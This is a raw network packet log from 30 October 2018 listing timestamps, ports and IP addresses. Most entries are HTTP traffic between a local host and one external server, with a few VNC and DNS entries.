Oct 30, 2018 14:46:00.979758978 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979760885 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979777098 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979794025 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979811907 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979829073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979846001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979862928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979881048 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979897976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979913950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979929924 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979945898 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979963064 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979967117 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.979979992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.979996920 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980012894 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980029106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980046034 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980062008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980076075 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.980078936 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980097055 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980127096 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980144978 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980161905 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980168104 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.980179071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980196953 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980212927 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980232954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980249882 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980267048 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980283022 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980297089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:00.980303049 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.980484962 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.980576038 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:00.980746031 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.034514904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034538984 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034554005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034571886 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034589052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034605026 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034621000 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034637928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034653902 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034671068 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034687042 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034725904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034743071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034759045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034784079 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.034811974 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034830093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034846067 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034862995 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034899950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034917116 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.034949064 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.035459995 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035478115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035492897 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035510063 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035526037 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035542965 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035558939 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035574913 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035590887 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035594940 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.035608053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035625935 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035641909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035659075 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035675049 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035691023 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035708904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035716057 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.035726070 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035742998 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035758972 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035775900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035792112 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035808086 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035825014 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035840988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035842896 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.035857916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035873890 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035891056 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035907030 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035923958 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035939932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035955906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035960913 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.035973072 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.035990953 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.036006927 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.036022902 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.036039114 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.036056042 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.036072016 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.036091089 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.036221027 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.036308050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.050501108 CET	5900	52057	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:01.055825949 CET	5900	52057	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:01.056022882 CET	52057	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:01.061208963 CET	5900	52057	142.112.20.74	192.168.1.81
Oct 30, 2018 14:46:01.061325073 CET	52057	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:46:01.090255976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090281963 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090298891 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090316057 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090332031 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090348005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090364933 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090378046 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090383053 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.090393066 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090409994 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090452909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090488911 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090507030 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090523958 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090540886 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090557098 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090574026 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.090574026 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.090590954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091074944 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091130972 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091177940 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.091203928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091222048 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091238976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091254950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091272116 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091288090 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091305017 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091321945 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091332912 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.091337919 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091355085 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091372013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091388941 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091404915 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091422081 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091439009 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091442108 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.091456890 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091474056 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091490984 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091506958 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091522932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091540098 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091557026 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091571093 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.091573000 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091589928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091607094 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091623068 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091639042 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091655970 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091670990 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091686964 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091696978 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.091705084 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091722012 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091738939 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091756105 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091801882 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091805935 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.091823101 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091840029 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091856956 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091872931 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.091907978 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.092098951 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.145689011 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145720959 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145733118 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145742893 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145754099 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145764112 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145775080 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145785093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145796061 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145806074 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145816088 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.145958900 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147092104 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147130966 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147142887 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147154093 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147171021 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147190094 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147193909 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147205114 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147217989 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147231102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147243977 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147289991 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147303104 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147308111 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147315025 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147327900 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147341013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147389889 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147392988 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147406101 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147433043 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147459030 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147464991 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147484064 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147497892 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147511005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147524118 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147536039 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147548914 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147548914 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147561073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147578955 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147591114 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147604942 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147629976 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147649050 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147658110 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147670984 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147685051 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147722960 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147748947 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147757053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147770882 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147783995 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147797108 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147814989 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147828102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147833109 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.147839069 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147851944 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147862911 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147874117 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147883892 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147895098 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147907972 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147919893 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147933006 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.147943020 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.148194075 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.148258924 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.150521040 CET	64169	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:01.201550961 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201596022 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201618910 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201648951 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201664925 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201679945 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201706886 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201725960 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201745033 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201762915 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201781988 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.201836109 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.202450037 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202470064 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202481031 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202507973 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202518940 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202536106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202547073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202559948 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202598095 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202635050 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.202637911 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.202948093 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203013897 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203094959 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203140974 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203162909 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203181982 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203224897 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203239918 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203259945 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203279018 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203310013 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203335047 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203368902 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203398943 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203419924 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203480005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203489065 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203520060 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203550100 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203569889 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203588963 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203608036 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203639030 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203712940 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203732967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203744888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203758001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203769922 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203782082 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203794003 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203807116 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203820944 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203836918 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203836918 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203850985 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203862906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203876972 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203901052 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203902960 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203915119 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203927994 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203932047 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203942060 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203953981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.203969955 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.203975916 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.204000950 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204214096 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204361916 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204396009 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204421997 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204447031 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204473019 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204499006 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204524994 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204550028 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204576015 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204607010 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204633951 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.204667091 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:46:01.257046938 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257071018 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:46:01.257082939 CET	80	51992	92.63.197.48	192.168.1.81
